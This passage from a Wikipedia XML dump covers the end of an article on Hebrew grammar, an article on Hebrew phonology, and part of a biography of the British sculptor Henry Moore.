In literary style, nouns are inflected to show possession through noun declension; a personal suffix is added to the construct form of the noun (the same form used by the סמיכות ''smikhut''). So, ספרי ''sifrei'' (books, construct form) can be inflected to form ספריי ''sifrai'' (my books), ספרייך ''sifraikha'' (your books), ספרינו ''sifreinu'' (our books) and so forth, while דירת ''dirat'' (apartment, construct form) gives דירתי ''dirati'' (my apartment), דירתך ''diratkha'' (your apartment), דירתינו ''dirateinu'' (our apartment), etc.

While the use of these forms is mostly restricted to formal and literary speech, they are in regular use in some colloquial phrases, for instance, מה שלומך ''ma shlomkha?'' (&quot;what is your peace?&quot; or &quot;how are you?&quot;) or לדעתי ''l'da'ati'' (in my opinion).

In addition, the inflected possessive is commonly used for terms of kinship, for instance בני ''bni'' (my son), בתם ''bitam'' (their daughter), אשתו ''ishto'' (his wife) are preferred to הבן שלי ''ha-ben sheli'', הבת שלכם ''ha-bat shelahem'', and האשה שלו ''ha-isha shelo''.

===Noun derivation===  
In the same way that Hebrew verbs are conjugated by applying various prefixes, suffixes and internal vowel combinations, Hebrew nouns can be formed by applying various &quot;meters&quot; (Hebrew ''mishkalim'') to the same roots. Gerunds are one example (see above). 

The words for many abstract concepts are derived by adding the ending ''-ut'' to another noun or a verb (usually hit'pael):
*ספר ''sefer'' (book) &amp;rarr; ספרות ''sifrut'' (literature)
*התייעץ ''hitya'etz'' (consult) &amp;rarr; התייעצות ''hitya'atzut'' (advice)
*התרגש ''hitragesh'' (get excited) &amp;rarr; התרגשות ''hitrag'shut'' (excitement)

The ''katlan'' meter, applied to a verb, indicates &quot;someone who does this&quot;:
*שיקר ''shiker'' (lie) &amp;rarr; שקרן ''shakran'' (liar)
*פחד ''pakhad'' (be afraid) &amp;rarr; פחדן ''pakhdan'' (coward)

The suffix ''-on'' denotes a smaller version of something:
*ספר ''sefer'' (book) &amp;rarr; ספרון ''sifron'' (booklet)
*מחשב ''makhshev'' (computer) &amp;rarr; מחשבון ''makhshevon'' (calculator)

Repeating the last two letters of a noun or adjective can also denote a smaller or lesser version:
*כלב ''kelev'' (dog) &amp;rarr; כלבלב ''k'lavlav'' (puppy)
*קצר ''katsar'' (short) &amp;rarr; קצרצר ''k'tsartsar'' (very short)

The ''katelet'' mishkal can have a variety of meanings:
*אדום ''adom'' (red) &amp;rarr; אדמת ''ademet'' (measles)
*כלב ''kelev'' (dog) &amp;rarr; כלבת ''kalevet'' (rabies)
*נייר ''n'yar'' (paper) &amp;rarr; ניירת ''naiyeret'' (paperwork)
*כסף ''kesef'' (money) &amp;rarr; כספת ''kasefet'' (a safe)

New nouns are also often formed by the addition of two existing stems:
*קול ''kol'' (sound) + נוע ''noa'' (motion) &amp;rarr; קולנוע ''kolnoa'' (cinema)

A combination of methods (The example has the katlan meter plus the ending ''-ut''):
*תועלת ''to'elet'' (benefit) &amp;rarr; תועלתנות ''to'al'tanut'' (utilitarianism)

==Adjectives==
The Hebrew adjective שם תואר ''shem toar'' comes after the noun and agrees with it in gender and number:
*ספר קטן ''sefer katan''  (small book)
*ספרים קטנים ''sfarim k'tanim'' (small books)
*בובה קטנה ''buba k'tana'' (small doll)
*בובות קטנות ''bubot k'tanot'' (small dolls)

Adjectives ending in ''-i'' have slightly different forms:
*איש מקומי ''ish m'komi'' (a local man)
*אשה מקומית ''isha m'komit'' (a local woman)
*אנשים מקומיים ''anashim m'komiyim'' (local people)
*נשים מקומיות ''nashim m'komiyot'' (local women)

Masculine nouns that take the &quot;feminine&quot; plural ending ''-ot'' still take masculine plural adjectives, e.g. מקומות יפים ''m'komot yafim'' (beautiful places). The reverse goes for feminine plural nouns ending in ''-im'', e.g. מילים ארוכות ''milim arukot'' (long words).

Note also that many adjectives, like segolate nouns, change their vowel structure in the feminine and plural.

===Use of the definite article with adjectives===
In Hebrew, an adjective that modifies a definite noun (including proper nouns) also takes the definite article:
*הספר הקטנים ''ha-sefer ha-katan'' (the small book)
*הבובות הקטנות ''ha-bubot ha-k'tanot'' (the small dolls)
*רותי הקטנה ''ruti ha-k'tana'' (little Ruthie; Ruthie the small)

===Adjectives derived from verbs===
Many adjectives in Hebrew are derived from the present tense of verbs. These adjectives are inflected the same way as the verbs they are derived from:
*סוער ''so'er'' (stormy, pa'al) &amp;rarr; סוערת ''so'eret'', סוערים ''so'arim'', סוערות ''so'arot''
*מנותק ''menutak'' (alienated, pu'al) gives מנותקת ''menuteket'', מנותקים ''menutakim'', מנותקות ''menutakot''
*מרשים ''marshim'' (impressive, hif'il) gives מרשימה ''marshima'', מרשימים ''marshimim'', מרשימות ''marshimot''

==Adverbs==
The Hebrew term for adverb is תואר הפועל ''toar ha'po'al''.

Hebrew forms adverbs in several different ways.

A few common adjectives can use the masculine singular form as an adverb as well, for instance חזק ''khazak'' (strongly), יפה ''yafe'' (nicely) or ברור ''barur'' (clearly).

Some adjectives have a unique adverb that must be memorized, for instance מהר ''maher'' (quickly) or לאט ''l'at'' (slowly). These forms cannot be used as adjectives (the corresponding adjectives are מהיר ''mahir'' and איטי ''iti'').

In most cases, though, the adverb will be expressed by some sort of '''adverbial phrase'''. Many adjectives prefer the prefix ''b'-'' plus a noun, for instance ''b'zehirut'' (carefully); בעדינות ''b'adinut'' (gently). 

Others prefer באופן ''b'ofen'' (in a nature/fashion) plus a masculine singular adjective, or בצורה ''b'tsura'' (in a form) plus a feminine singular, e.g. באופן מאפיין ''b'ofen me'afyen'' (characteristically) or בצורה אלגניטית ''b'tsura elegantit'' (elegantly).

The use of one of these methods does not necessarily preclude the use of the others: even though לאט ''l'at'' exists, for instance, one may also use באיטיות ''b'itiut'' to express &quot;slowly&quot; in a more elegant way.

== Miscellaneous ==
=== Indirect objects ===
Indirect objects are objects requiring a preposition other than את ''et''. The preposition used depends on the verb, and these can be very different than the one used in English. A good dictionary is required to look these up. In the case of definite indirect objects, the preposition will replace את ''et''.

* אני שכחתי מהבחירות ''ani shakhakhti me-ha-b'khirot'' (I forgot about the election)

The Hebrew grammar distinguishes between various kinds of indirect objects, according to what they specify. Thus, there is a division between objects for time (''te'ur z'man''), objects for place (''te'ur makom''), objects for reason (''te'ur siba'') and many others.
&lt;!-- Additionally, Hebrew distinguishes between various kinds of verbless fragments according to their use, such as ''t'mura'' for elaboration, ''k'ri'a'' for exclamation, ''p'niya'' for approach and ''hesger'' for disclosing the opinion of another party using direct speech (e.g. לדעת הרופא, העישון מזיק לבריאות ''l'da'at ha'rofe, ha'ishun mazik la'briut'' (in the doctor's opinion, smoking is harmful to health'').--&gt;

=== Impersonal sentences ===
A sentence may lack a subject. In this case it is called סתמי ''s'tami'', or indefinite. If several parts of the sentence have the same function and are attached to the same word, they are called ''kolel'', or collective. Two or more sentences that do not share common parts and are separated by comma are called משפט מחובר ''mishpat m'khubar'', or joined sentences. In many cases, the second sentence uses a pronoun that stands for the other's subject; they are generally interconnected.

=== Relative clauses ===
A sentence in which one or more of the parts are replaced by a clause (''p'sukit'') is called a ''mishpat murkav'' (compound sentence). Compound sentences usually use the conjunctional prefix ש ''she-'' (usually &quot;that&quot;). For example, in the sentence ''Yosi omer she-hu okhel.'' (Yosi says that he is eating.), ''Yosi omer'' (Yosi says) is the main sentence and ''hu okhel'' (he is eating) is the direct subject clause that follows it.

==References==
# {{cite book | title = 501 Hebrew Verbs | first = Shmuel | last = Bolozky | id = ISBN 0-8120-9468-9 | publisher = Barron's Educational Series, Inc. }}
# {{cite book | title = Modern Hebrew: An Essential Grammar | edition = 3rd edition | first = Lewis | last = Glinert | id = ISBN 0-415-70082-5 | publisher = Routledge UK }}

==External links==  
*[http://foundationstone.com.au/HtmlSupport/FrameSupport/onlineHebrewTutorialFrame.html Online Hebrew Tutorial] (foundationstone)  
*[http://perso.wanadoo.fr/babel-site/ Hebrew is easy] (babel-site)  
*[http://www.adath-shalom.ca/gk_cont.htm Gesenius' Hebrew Grammar]   
*[http://www.yiwoodmere.org/library/cybrary/hebrew.html Learning Hebrew - Links], Young Israel

[[Category:Grammars of specific languages]]
[[Category:Hebrew language]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrew phonology</title>
    <id>13846</id>
    <revision>
      <id>40480285</id>
      <timestamp>2006-02-20T21:52:37Z</timestamp>
      <contributor>
        <username>Garzo</username>
        <id>140345</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.192.242.27|70.192.242.27]] ([[User talk:70.192.242.27|talk]]) to last version by Wayward</comment>
      <text xml:space="preserve">'''Hebrew [[phonology]]''' must take into account that the [[Hebrew language]] has been used primarily for [[liturgy|liturgical]] purposes for most of the past two millennia. As a consequence, its pronunciation has been strongly influenced by the [[vernacular]] of each individual [[Jew]]ish community. In contrast to the varied development of these pronunciations is the relatively rapid development of modern [[Israel]]i Hebrew.

==Basic Hebrew alphabet==
:''See main article [[Hebrew alphabet]]''

===Consonants===

''Note:  dagesh and mappiq symbols, the dots in otherwise identical letters, are often omitted in writing.  For instance, &amp;#64305; is often written as &amp;#1489;.  The use or omission of such marks is usually consistent throughout any given context.''

*&amp;#1488; &amp;nbsp; alef &amp;nbsp; silent (traditionally, {{unicode|/&amp;#660;/}} when before a vowel)
*&amp;#64305; &amp;nbsp; bet &amp;nbsp; /b/
*&amp;#1489; &amp;nbsp; vet &amp;nbsp; /v/ (/b/ among Egyptian Jews)
*&amp;#1490; &amp;nbsp; ghimel &amp;nbsp; /g/ ({{unicode|/&amp;#611;/}} among [[Yemenite Jew|Teimanim]], [[Mizrahi Jew|Mizrachim]] and some [[Sephardi]]m)
*&amp;#64306; &amp;nbsp; gimel &amp;nbsp; /g/ ({{unicode|/dʒ/}} among some Teimanim)
*&amp;rsquo;&amp;#1490; &amp;nbsp; djimel &amp;nbsp; {{unicode|/&amp;#676;/}} (used only in [[loanword]]s)
*&amp;#1491; &amp;nbsp; dhalet &amp;nbsp; /d/ (/ð/ among Teimanim, Mirahim and some Sephardim)
*&amp;#64307; &amp;nbsp; dalet &amp;nbsp; /d/
*&amp;#1492; &amp;nbsp; he &amp;nbsp; /h/, silent in word-final position.
*&amp;#64308; &amp;nbsp; he &amp;nbsp; silent (traditionally /h/; the dot in the middle is called [[mappiq]], not [[dagesh]])
*&amp;#1493; &amp;nbsp; vav &amp;nbsp; /v/ (/w/ among Teimanim and some Mizrahim)
*&amp;#1494; &amp;nbsp; zayin /z/
*&amp;rsquo;&amp;#1494; &amp;nbsp; zhayin &amp;nbsp; {{unicode|/&amp;#658;/}} (used only in loanwords)
*&amp;#1495; &amp;nbsp; chet &amp;nbsp; /x/ ({{unicode|/&amp;#7717;/}} among Oriental Hebrew speakers)
*&amp;#1496; &amp;nbsp; tet &amp;nbsp; /t/ ({{unicode|/t&amp;#820;/}} among Teimanim)
*&amp;#1497; &amp;nbsp; yod &amp;nbsp; /j/
*&amp;#1499; &amp;nbsp; xaf &amp;nbsp; /x/
*&amp;#1498; &amp;nbsp; xaf sofit &amp;nbsp; /x/
*&amp;#64315; &amp;nbsp; kaf &amp;nbsp; /k/
*&amp;#64314; &amp;nbsp; kaf sofit &amp;nbsp; /k/
*&amp;#1500; &amp;nbsp; lamed &amp;nbsp; /l/
*&amp;#1502; &amp;nbsp; mem &amp;nbsp; /m/
*&amp;#1501; &amp;nbsp; mem sofit &amp;nbsp; /m/
*&amp;#1504; &amp;nbsp; nun &amp;nbsp; /n/
*&amp;#1503; &amp;nbsp; nun sofit &amp;nbsp; /n/
*&amp;#1505; &amp;nbsp; samex &amp;nbsp; /s/
*&amp;#1506; &amp;nbsp; ayin &amp;nbsp; silent, like &amp;#1488; ({{unicode|/&amp;#661;/}} among Oriental Hebrew speakers)
*&amp;#1508; &amp;nbsp; fe &amp;nbsp; /f/
*&amp;#1507; &amp;nbsp; fe sofit &amp;nbsp; /f/
*&amp;#64324; &amp;nbsp; pe &amp;nbsp; /p/
*&amp;#64323; &amp;nbsp; pe sofit&amp;nbsp; /p/
*&amp;#1510; &amp;nbsp; tzadi &amp;nbsp; {{unicode|/&amp;#678;/}}
*&amp;#1509; &amp;nbsp; tzadi sofit &amp;nbsp; {{unicode|/&amp;#678;/}}
*&amp;rsquo;&amp;#1510; &amp;nbsp; tshadi &amp;nbsp; {{unicode|/&amp;#679;/}} (used only in loanwords)
*&amp;#1511; &amp;nbsp; qof &amp;nbsp; /k/ (pronounced /q/ by many Israelis as well as speakers hailing from the Arab world, /g/ by some Teimanim)
*&amp;#1512; &amp;nbsp; reish &amp;nbsp; {{unicode|/&amp;#641;/}} (/r/ among Oriental Hebrew speakers) 
*&amp;#64298; &amp;nbsp; shin &amp;nbsp; {{unicode|/&amp;#643;/}}
*&amp;#64299; &amp;nbsp; sin &amp;nbsp; /s/
*&amp;#1514; &amp;nbsp; thav &amp;nbsp; /t/ (/&amp;theta;/ among Teimanim, Mizrahim and some Sephardim, /s/ by some Ashkenazim)
*&amp;#64330; &amp;nbsp; tav &amp;nbsp; /t/

===Vowels===

*&amp;#1456; &amp;nbsp; sh'va &amp;nbsp; (silent), {{IPA|/&amp;#603;/}} (traditionally {{IPA|/&amp;#601;/}}) (depending on position in word, and position of word in phrase)
*&amp;#1460; &amp;nbsp; {{unicode|&amp;#7717;}}iriq &amp;nbsp; /i/
*&amp;#1461; &amp;nbsp; tzeire &amp;nbsp; {{IPA|/&amp;#603;/}} (traditionally {{IPA|/e/}})
*&amp;#1462; &amp;nbsp; segol &amp;nbsp; {{IPA|/&amp;#603;/}}
*&amp;#1457; &amp;nbsp; chataf segol &amp;nbsp; {{IPA|/&amp;#603;/}} (traditionally also {{IPA|/&amp;#601;/}})
*&amp;#1463; &amp;nbsp; patach &amp;nbsp; {{IPA|/a/}}
*&amp;#1458; &amp;nbsp; chataf patach &amp;nbsp; {{IPA|/a/}} (traditionally also {{IPA|/&amp;#601;/}})
*&amp;#1464; &amp;nbsp; qamatz &amp;nbsp; {{IPA|/a/}}, (according to complex stress rules, this vowel is sometimes pronounced /o/ as well.  In positions where it is pronounced /a/ in &quot;Standard Modern Israeli Hebrew&quot;, it is pronounced {{IPA|/&amp;#596;/}} by some Ashkenazim and Teimanim)
*&amp;#1459; &amp;nbsp; chataf qamatz &amp;nbsp; {{IPA|/o/}}
*&amp;#1467; &amp;nbsp; qubutz &amp;nbsp; {{IPA|/u/}}
*&amp;#1474; &amp;nbsp; {{unicode|&amp;#7717;olam &amp;#7717;aser}} {{IPA|/o/}}
*&amp;#64309; &amp;nbsp; shuruq &amp;nbsp; {{IPA|/u/}}
*&amp;#59393; &amp;nbsp; {{unicode|&amp;#7717;olam}} &amp;nbsp; {{IPA|/o/}}

==Notes on writing==

# The [[phoneme]] /v/ is represented by two letters: vet (&amp;#1489;, unemphasized bet) and vav (&amp;#1493;). Although modern Hebrew pronunciation does not differentiate between the two, the latter is historically weaker due to its being a semi-vowel (/w/).
# The phoneme /k/ is represented by two letters: kaf (&amp;#1499;) and quf (&amp;#1511;). Although modern Israeli Hebrew pronunciation doesn't differentiate between the two, the latter is pronounced by some speakers like an Arabic /[[voiceless uvular plosive|q]]/.
# The phoneme /t/ is represented by two letters: tet (&amp;#1496;) and tau (&amp;#1514;, compare to the [[Greek language|Greek]] theta &amp;#952; and tau &amp;#964;). As mentioned earlier, the former was once pronounced with emphasis. However, it seems that the letter ''tau'', when intervocalic and non-doubled (i.e. without dagesh) once represented a [[voiceless interdental fricative|fricative]] phoneme {{IPA|/&amp;#952;/}}. For example, what in Modern Hebrew sounds as &quot;Beit Lexem&quot; was transcribed (through Greek, which is ill-equipped to represent /h/) into English from Old Hebrew as &quot;Bethleem&quot;, also demonstrating note nr. 5. The traditional Ashkenazi pronunciation of tau without dagesh as &quot;s&quot; appears to be a continuation of this former distinction.
# Similar to Modern [[Arabic language|Arabic]], old Hebrew had the phonemes {{IPA|/&amp;#678;/}} and /t/ (written by the letter tet) emphasized. Currently, the only community of Hebrew-speakers which expresses this in speech are [[Yemenite Jew]]s, whose Hebrew is much-influenced by Arabic phonetics (or rather ''not'' influenced by [[Yiddish]] and other European languages); however the emphasis led to several types of phonetic change that still exist. The exact nature of the emphatic feature is a matter of debate; the most commonly suggested possibilities are pharyngealization (as in Arabic) and glottalization (as in [[Geez language|Ethiopic]]).
# In the speech of Ashkenazi modern Hebrew speakers, the phoneme /x/ is represented by two letters: xet (&amp;#1495;) and khaf (&amp;#1499;). Xet is presumed to historically have been a [[voiceless pharyngeal fricative]] (like Arabic &amp;#1581;).  The voiceless pharyngeal fricative pronunciation {{unicode|/&amp;#7717;/}} is found in the speech of many Teimanim, Mizrachim and Sephardim, who, like Ashkenazim, pronounce khaf as /x/.



[[Category:Hebrew language]]
[[Category:Language phonologies]]

[[he:&amp;#1492;&amp;#1490;&amp;#1497;&amp;#1497;&amp;#1514; &amp;#1492;&amp;#1506;&amp;#1489;&amp;#1512;&amp;#1497;&amp;#1514;]]</text>
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  <page>
    <title>Henry Moore</title>
    <id>13848</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42070933</id>
      <timestamp>2006-03-03T16:51:22Z</timestamp>
      <contributor>
        <username>Solipsist</username>
        <id>49943</id>
      </contributor>
      <minor />
      <comment>larger revert to last version by DaiTengu</comment>
      <text xml:space="preserve">:''This article is about the sculptor. For the governor of [[New York]], see [[Henry Moore (governor)]].''
[[Image:HenryMoore RecliningFigure 1951.jpg|right|thumb|300px|Sculpture-Reclining Figure (1951)|''Reclining Figure'' (1951) outside the [[Fitzwilliam Museum]], [[Cambridge]], is characteristic of Moore's sculptures, with an abstract female figure intercut with voids. There are several bronze versions of this sculpture, but this one is made from painted plaster.]]

'''Henry Spencer Moore''' [[Order of Merit|OM]] [[Companion of Honour|CH]], ([[30 July]] [[1898]] &amp;ndash; [[31 August]] [[1986]]) was a [[Britain|British]] [[artist]] and [[Sculpture|sculptor]]. The son of a mining engineer, born in the [[Yorkshire]] town of [[Castleford]], Moore became well known for his large-scale [[abstract art|abstract]] cast bronze and carved marble sculptures. Substantially supported by the British art establishment, Moore helped to introduce a particular form of [[modernism]] into Britain.

His ability to satisfy large-scale commissions made him exceptionally wealthy towards the end of his life. However, he lived frugally and most of his wealth went to endow the [[Henry Moore Foundation]], which continues to support education and promotion of the arts. 

His signature form is a pierced reclining figure, first influenced by a [[Toltec]]-[[Maya civilization|Maya]] sculpture known as &quot;[[Chac Mool]]&quot;, which he had seen as a [[plaster cast]] in [[Paris]] in [[1925]]. Early versions are pierced conventionally as a bent arm reconnects with the body. Later more abstract versions are pierced directly through the body in order to explore the concave and convex shapes. These more extreme piercings developed in parallel with [[Barbara Hepworth]]'s sculptures. Hepworth first pierced a torso after misreading a review of one of Henry Moore's early shows.
[[Image:Henry Moore, Three Piece Reclining Figure Draped (1976), MIT Campus - detail.JPG|thumb|right|180px|''Three Piece Reclining Figure Draped'' (1976), [[Massachusetts Institute of Technology]].]]

==Sculpture==
[[Image:arch-moore-hiroshima.jpg|left|thumb|220px|Sculpture &amp;ndash; The Arch (1969)|''The Arch'', (1969) bronze, situated outside the [[Hiroshima City Museum of Contemporary Art]], [[Japan]].]]

Moore is best known for his abstract monumental bronzes which can be seen in many places around the world as public works of art. The subjects are usually abstractions of the human figure, typically ''mother-and-child'' or ''reclining figures''. Interestingly, apart from a flirtation with family groups in the 1950s, the subject is nearly always a female figure. Characteristically, Moore's figures are pierced, or contain hollow voids. Many interpret the undulating form of his reclining figures as references to the landscape and hills of Yorkshire where Moore was born.

When Moore's niece asked why his sculptures had such simple titles, he replied:
:''All art should have a certain mystery and should make demands on the spectator. Giving a sculpture or a drawing too explicit a title takes away part of that mystery so that the spectator moves on to the next object, making no effort to ponder the meaning of what he has just seen. Everyone thinks that he or she looks but they don't really, you know.''

Moore's early work focused on [[direct carving]] in which the form of the sculpture evolves as the artist repeatedly whittles away at the block (see [http://www.tate.org.uk/servlet/ViewWork?workid=10226 ''Half-figure''] 1932). In the [[1930s]] Moore's transition into [[Modernism]] paralleled that of [[Barbara Hepworth]] with both sculptors bouncing new ideas off each other and several other artists living in [[Hampstead]] at the time. Moore made many preparatory sketches and drawings for each sculpture. Most of these sketchbooks have survived, providing an insight into his development. By the end of the [[1940s]] Moore  increasingly produced sculptures by modelling, working out the shape in clay or plaster before casting the final work in bronze using the [[Casting#Lost wax casting process|lost wax]] technique.

After the [[Second World War]] Moore's Bronzes took on their monumental scale, particularly suited for the public art commissions he was receiving. As a matter of practicality he largely abandoned direct carving, and took on several assistants to help produce the [[maquette]]s.

At his home in [[Much Hadham]], Moore built up a collection of natural objects; skulls, driftwood, pebbles and shells, which he would use to provide inspiration for organic forms. For his largest works, he often produced a half-scale, working model before scaling up for the final moulding and casting at a bronze foundry. Sometimes a full-scale plaster model was constructed, allowing Moore to refine the final shape and add surface marks before casting.

==Biography==
[[Image:HenryMooreTorontoCH1.jpg|thumb|right|225px|''Three Way Piece No. 2 (The Archer)'' (1964-65) bronze, [[Nathan Phillips Square]], [[Toronto]].]]

===Early life===
Moore was born in [[Castleford]], [[West Yorkshire]], [[England]], the seventh of eight children to Raymond Spencer Moore and Mary Baker. His father was a mining engineer who rose to be under-manager of the Wheldale colliery in Castleford. He was an autodidact with an interest in music and literature, and he saw formal education as the route to advancement for his children.

Moore decided to become a sculptor when he was only eleven and was encouraged by his art teacher to begin modelling in clay and carving in wood whilst at secondary school. Despite early promise, his parents were against a career as a sculptor, seeing it as manual labour.

In [[1917]], on turning 18, Moore was drafted to fight in [[World War I]]. The youngest man in his regiment, the Civil Service Rifles, he saw action in the [[Battle of Cambrai]] but was injured in a gas attack. He made a speedy recovery, however, and saw out the remainder of the war as a physical training instructor. In stark contrast to many of his contemporaries, Moore's wartime experience was largely untroubled; he recalled the time saying, ''for me the war passed in a romantic haze of trying to be a hero.''

After the war, Moore received an ex-serviceman's grant to continue his education and became the first student of sculpture at [[Leeds School of Art]] in [[1919]] &amp;mdash; the school had to set up a sculpture studio especially for him.

===College education===
[[Image:HenryMoore5PieceFigure.jpg|thumb|left|225px|&quot;Large Four Piece Reclining Figure&quot; (1973) bronze, [[San Francisco]]'s [[Louise M. Davies Symphony Hall]]]]
Whilst at Leeds, Moore met fellow art student [[Barbara Hepworth]], beginning a friendship which would last for many years. Moore was also fortunate to be introduced to African tribal sculpture, by Sir [[Michael Sadler]], the [[Vice-Chancellor]] at the Leeds School.

In [[1921]] Moore won a scholarship to study at the [[Royal College of Art]] (RCA) in [[London]], where Hepworth had gone the year before. Whilst in London, Moore extended his knowledge of primitive art and sculpture, studying the ethnographic collections at the [[Victoria and Albert Museum]] and the [[British Museum]].

Both Moore and Hepworth's earliest sculptures followed standard teaching in romantic Victorian style; subjects were natural forms, landscapes and figurative modelling of animals. Moore increasingly felt uncomfortable with these classically derived ideas. With his knowledge of primitivism and the influence of sculptors such as [[Constantin Brancusi|Brancusi]], [[Jacob Epstein|Epstein]] and [[Frank Dobson|Dobson]] he started to develop a style of [[direct carving]] in which imperfections in the material and tool marks are incorporated into the finished sculpture. In doing so he had to fight against his academic tutors who did not appreciate the modern approach. In one exercise set by [[Derwent Wood]], the professor of Sculpture at the RCA, Moore was supposed to reproduce a marble relief of [[Domenico Rosselli|Rosselli]]'s ''The Virgin and Child'', by first modelling the relief in plaster then reproducing it in marble using the mechanical technique of '[[pointing]]'. Instead, Moore carved the relief directly, even marking the surface to simulate the surface prick marks that would have been left by the pointing machine. [http://www.henry-moore-fdn.co.uk/site/thesite/pages/workchronology.html]

Nevertheless, in [[1924]], Moore won a six month travelling scholarship which he spent in Northern Italy studying the great works of [[Michelangelo]], [[Giotto di Bondone|Giotto]] and several other Old Masters. Since Moore had already started to break away from the classical tradition, it is not clear that he drew much influence from this trip, though in later life he would often claim Michelangelo as an influence.

===Life in Hampstead===
[[Image:HenryMoore WestWind.jpg|thumb|right|220px|Moore's first public commission, ''West Wind'' (1928-29) was one of the eight 'winds' reliefs high on the walls of [[London Underground]]'s headquarters at [[55 Broadway, London|55 Broadway]]. The other 'winds' were carved by contemporary sculptors including [[Eric Gill]].]]

On returning to London, Moore began a seven-year teaching post at the RCA. He was only required to teach two days a week, which gave him plenty of time to spend on his own work. In July [[1929]], he married Irina Radetsky, a painting student at the RCA &amp;mdash; Irina was born in Kiev on [[26 March]] [[1907]] to Russian-Polish parents. Her father disappeared in the [[Russian Revolution of 1917|Russian Revolution]] and her mother was evacuated to Paris where she married a British army officer. Irina was smuggled to Paris a year later and went to school there until she was 16, after which she was sent to live with her stepfather’s relatives in [[Buckinghamshire]]. With such a troubled childhood, it is not surprising that Irina had a reputation of being quiet and a little withdrawn. However, she found security in her marriage to Moore and was soon posing for him.

Shortly after getting married the pair moved to a studio in [[Hampstead]], joining a small colony of avant-garde artists who were starting to take root there. Shortly afterwards, Hepworth and her partner [[Ben Nicholson]] moved into a studio around the corner from Moore, whilst [[Naum Gabo]] and the art critic [[Herbert Read]] also lived in the area. This led to a rapid cross-fertilisation of ideas that Read would publicise, helping to raise Moore's public profile.

In the early [[1930s]], Moore took up a post as the Head of the Department of Sculpture at the [[Chelsea School of Art]]. Artistically, Moore, Hepworth and other members of the [[7 and 5 Society]] would develop steadily more abstract work, partly influenced by their frequent trips to [[Paris]] and contact with leading French artists, notably [[Pablo Picasso|Picasso]], [[George Braque|Braque]], [[Jean Arp|Arp]] and [[Alberto Giacometti|Giacometti]]. Moore flirted with [[Surrealism]], joining [[Paul Nash]]'s [[Unit One Group]] in [[1933]]. Both Moore and [[Paul Nash]] were on the organizing committee of the London International Surrealist Exhibition, which took place in [[1936]]. At this time Moore gradually transitioned from direct carving to casting in bronze, modelling preliminary [[maquette]]s in clay or plaster.

[[Image:Henry Moore - Two Piece Reclining Figure 5 - Kenwood.jpg|left|thumb|250px|Sculpture &amp;ndash; Two Piece Reclining Figure No. 5|''Two Piece Reclining Figure No. 5'', Bronze (1963&amp;ndash;64), in the grounds of [[Kenwood House]], London.]]

===War artist===
This inventive and productive period was brought to an end by the outbreak of the [[Second World War]]. The Chelsea School of Art evacuated to Northampton and Moore resigned his teaching post. During the war, Moore was commissioned as a war artist, notably producing powerful drawings of Londoners sleeping in the London Underground whilst sheltering from the blitz [http://www.tate.org.uk/magazine/issue2/moore.htm]. These drawings helped to boost Moore's international reputation, particularly in America.

After their Hampstead home was hit by bomb shrapnel, he and Irina moved out of London to live in a farmhouse called Hoglands in the hamlet of Perry Green near [[Much Hadham]], [[Hertfordshire]]. This was to become Moore's final home and workshop. Despite acquiring significant wealth later in life, Moore never felt the need to move to a larger home and apart from adding a number of outbuildings and workshops the house changed little.

===International recognition===
[[Image:MoorSculptureAtRochester.jpg|right|thumb|275px|A version of ''Three Piece No. 3 Vertebrae'' (~1968), Rochester, New York.]]

After the war and following several earlier miscarriages, Irina gave birth to their daughter, Mary on [[7 March]] [[1946]]. The child was named after Moore's mother, who had died a couple of years earlier. Both the loss of his mother and the arrival of a baby focused Moore's mind on the family, which he expressed in his work by producing many ''mother-and-child'' compositions, although ''reclining figures'' also remained popular. In the same year, Moore made his first visit to America when a retrospective exhibition of his work opened at the [[Museum of Modern Art]] in New York. In [[1948]] he won the International Sculpture Prize at the [[Venice Biennale]].

[[Image:Henry Moore, Family Group (1950).jpg|thumb|left|200px|''Family Group'' (1950) bronze, outside Barclay School in [[Stevenage]], was Moore's first large scale commission following the Second World War.]]

Towards the end of the war, Moore had been approached by [[Henry Morris]] who was in the process of trying to reform education with the concept of the [[village college]]. Morris had engaged [[Walter Gropius]] as the architect for his second village college at [[Impington Village College|Impington]] near [[Cambridge]] and he wanted Moore to design a major public sculpture for the site. Unfortunately, the County Council could not afford Gropius's full design, and scaled back the project when Gropius emigrated to America. Lacking funds, Morris had to cancel Moore's sculpture, which had not progressed beyond the maquette stage. Fortunately, Moore was able to reuse the design in [[1950]] for a similar commission outside a secondary school for the new town of [[Stevenage]]. This time, the project was completed and ''Family Group'' became Moore's first large scale public bronze.

In the [[1950s]], Moore began to receive increasingly significant commissions, including one for the [[UNESCO]] building in Paris [[1957]]. With many more public works of art, the scale of Moore's sculptures grew significantly and he started to employ a number of assistants to work with him at Much Hadham, including [[Anthony Caro]].

[[Image:Henry_Moore_Nuclear_Energy2.jpg|thumb|275px|''Nuclear Energy'' (1967) at the [[University of Chicago]] campus, designating the location of the world's first self-sustaining nuclear reaction]]

On the campus of the [[University of Chicago]], twenty-five years to the minute (3:36 p.m., December 2, 1967) after the team of physicists led by [[Enrico Fermi]] achieved the first controlled, self-sustaining nuclear chain reaction, Moore's ''Nuclear Energy'' was unveiled on the site of what used to be the University's football field bleachers, beneath which the experiments had taken place.  This twelve-foot-tall piece in the middle of a large, open plaza is often thought to represent a mushroom cloud topped by a massive human skull, but Moore's interpretation is far different. He once told a friend that he hoped viewers would &quot;go around it, looking out through the open spaces, and that they may have a feeling of being in a cathedral.&quot; [http://physics.uchicago.edu/moore_sculpture.html]

===Legacy===
[[Image:HenryMoore KnifeEdgeTwoPiece02.jpg|right|thumb|250px|Sculpture &amp;ndash; Knife Edge Two Piece|''Knife Edge &amp;ndash; Two Piece'' (1962) bronze, sited opposite the [[Palace of Westminster|Houses of Parliament]], [[Westminster]], London.]]

The last three decades of Moore's life continued in a similar vein, with several major retrospectives around the world, notably a very prominent exhibition in the summer of [[1972]] in the grounds of the  [http://www.belvederedellarte.it/en/fb/hdown.htm Forte di Belvedere] overlooking [[Florence]]. By the end of the [[1970s]], there were some 40 exhibitions a year featuring his work.

The number of commissions continued to increase; he completed ''Knife Edge Two Piece'' in [[1962]] for a site next to the [[Palace of Westminster|Houses of Parliament]] in London. Moore commented;
:''When I was offered the site near the [[House of Lords]]... I liked the place so much that I didn't bother to go and see an alternative site in [[Hyde Park, London|Hyde Park]] &amp;mdash; one lonely sculpture can be lost in a large park. The House of Lords site is quite different. It is next to a path where people walk and it has a few seats where they can sit and contemplate it.''

